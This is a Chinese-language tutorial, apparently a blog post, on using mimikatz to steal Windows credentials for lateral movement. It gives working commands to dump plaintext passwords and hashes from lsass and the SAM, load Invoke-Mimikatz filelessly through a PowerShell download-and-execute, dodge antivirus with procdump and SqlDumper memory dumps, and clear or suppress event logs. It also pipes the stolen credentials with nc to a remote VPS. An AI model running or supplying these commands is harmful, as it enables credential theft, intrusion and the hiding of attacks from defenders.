一、mimikatz簡介:
mimikatz常用於獲取windows系統明文密碼、系統賬號hash、瀏覽器密碼、VPN(ADSL)密碼、RDP終端密碼等,在內網橫向滲透中可用於各種憑證的導入導出,包括大家熟悉的hash傳遞攻擊。
程序的發布主頁:http://blog.gentilkiwi.com/mimikatz
下載地址:https://github.com/gentilkiwi/mimikatz/releases
二、基礎用法——獲取windows系統明文密碼及HASH:
首先用管理員權限打開獼猴桃標志的EXE,然后輸入:
privilege::debug
sekurlsa::logonpasswords full
如果先加上log命令,所有的操作和回顯的結果會在mimikatz.log中顯示:
三、結果解析:
從上面結果可以看出:
1、一個Authentication Id代表一個塊結果(這個“塊結果”我自己理解的),也就是內存里面某個賬戶里面的憑證。
2、msv項是賬號對應的密碼的各種加密協議的密文。
3、tspkg、wdigest、kerberos 這3個項是賬號對應的明文密碼,但有時候不是3個項都得到結果的。
4、ssp項下是你最新登錄到其他RDP終端所用到賬號密碼,windows server 2003、windows xp是不會記錄到這里的,因為賬號密碼的輸入不在本機內存里。
5、domain項是被登陸的機器的USERDOMAIN,可通過set命令來查看該變量,通過ping該項對應的值,可得到目標的IP。如:ping -n 1 john-PC,如果想要是IPv4就加上-4參數,即:ping -n 1 -4 john-PC
四、獲取windows系統明文密碼的原理:
當用戶登陸后,會把賬號密碼保存在lsass中,lsass是微軟Windows系統的安全機制它主要用於本地安全和登陸策略,通常我們在登陸系統時輸入密碼之后,密碼便會儲存在lsass內存中,經過其wdigest和tspkg兩個模塊調用后,對其使用可逆的算法進行加密並存儲在內存之中,而mimikatz正是通過對lsass的逆算獲取到明文密碼。
五、只獲取系統哈希:
1、mimikatz with reg (online在線獲取)
privilege::debug
token::elevate
lsadump::sam
2、mimikatz with reg (offline)
目標機器上執行:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
把兩個文件傳回本機后執行:
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
3、mimikatz with powershell(無需實體文件落地)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
六、windows高版本無法抓明文密碼的問題:
問題出現點,windows 8.1及以上系統在進行明文密碼抓取的時候出現以下情況:
1、報錯:
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
2、密碼項為NULL //空密碼
七、mimikatz的殺軟對抗:
mimikatz的明文密碼功能固然是強大的,但就是因為強大,所以在被各國黑客關注使用的同時,各國的安全廠商也是會投入人力物力去查殺該程序,由此就會產生對抗安全防御軟軟件的技術。以下文章所涉及到的都是常用且好用的。
1、procdump with mimikatz
procdump是啥玩意?
procdump是微軟收購Winternals公司后得到的一個工具包Sysinternals Suite中的一款小工具,屬於微軟產品。詳情請看:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
為什么能對抗安全防御軟件?
我們使用大廠的軟件把windows系統的內存dump出來,然后下載回我們本地系統,通過mimikatz解析內存文件,提取存放在內存中的憑證。那我用微軟的東西,你不能攔截吧?那我在本地自己沒有安全軟件的環境用mimikatz解析,能攔截的估計就是斷電、藍屏……
具體操作:
命令:
<目標機器>
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
<本機>
mimikatz # sekurlsa::minidump SUPERCOMPUTER_lsass.dmp
mimikatz # log
mimikatz # sekurlsa::logonPasswords full
①首先在目標機器下載一個procdump文件,然后用管理員權限打開cmd輸入命令執行(最后那個lsass.dmp是文件名,它的文件名和后綴都可以更改)
②接着我們把lsass.dmp文件下載回來,然后打開mimikatz執行命令即可(注意命令中文件名要對的上)
2、SqlDumper with mimikatz
SqlDumper.exe是從SQL Server安裝目錄下提取出來的,功能和Procdump相似,並且也是微軟出品的,體積遠小於Procdump,也具備一定的免殺功能。SqlDumper.exe默認存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本,如果目標機器沒有安裝SQL Server,可以自己上傳一個SqlDumper.exe。
命令:
<目標機器>
tasklist /svc |findstr lsass.exe
Sqldumper.exe ProcessID 0 0x01100
<本機>
mimikatz # sekurlsa::minidump SQLDmpr0001.mdmp
mimikatz # log
mimikatz # sekurlsa::logonPasswords full
八、mimikatz的其他實用功能
1、解決windows PC版本不能多用戶登陸3389的情況:
mimikatz # privilege::debug
mimikatz # ts::multirdp
2、清除日志:
event::clear
3、讓后面的操作不被系統記錄:
event::drop
4、進程操作:
process::suspend /pid:2768 暫停進程
process::resume /pid:2768 恢復進程
5、獲取system權限
privilege::debug
token::elevate
6、以system權限啟新的進程
獲取系統system
mimikatz # privilege::debug
mimikatz # process::runp //以system啟動一個新的mimikatz的交互式shell
mimikatz # process::runp /run:cmd //以system啟動一個新的cmd
九、實戰下的mimikatz
1、半交互下的mimiktz執行命令
比如在webshell、webshell管理工具的終端都是半交互式的,此時我們執行mimikatz.exe,是不會進入mimikatz的終端,那么就不能直接的使用mimiktz的命令了,但也可以如下使用:
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full" "exit" >> hash.txt
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> hash.txt
2、利用nc把mimikatz結果傳到遠程服務器(vps)
首先需要在vps上用nc -lvp 1337,來監聽1337端口
接下來用命令把結果傳到我們的vps,以下隨便用那一條都行,如果沒有nc,可以用ncat(把nc改為ncat即可):
①mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" | nc -vv 67.68.123.4 1337
②mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc -vv 67.68.123.4 1337
③powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1337
注意,第三條命令中有一個國外的網站,執行命令之前你懂的
③獲取 vpn 密碼
mimikatz.exe "privilege::debug" "log" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"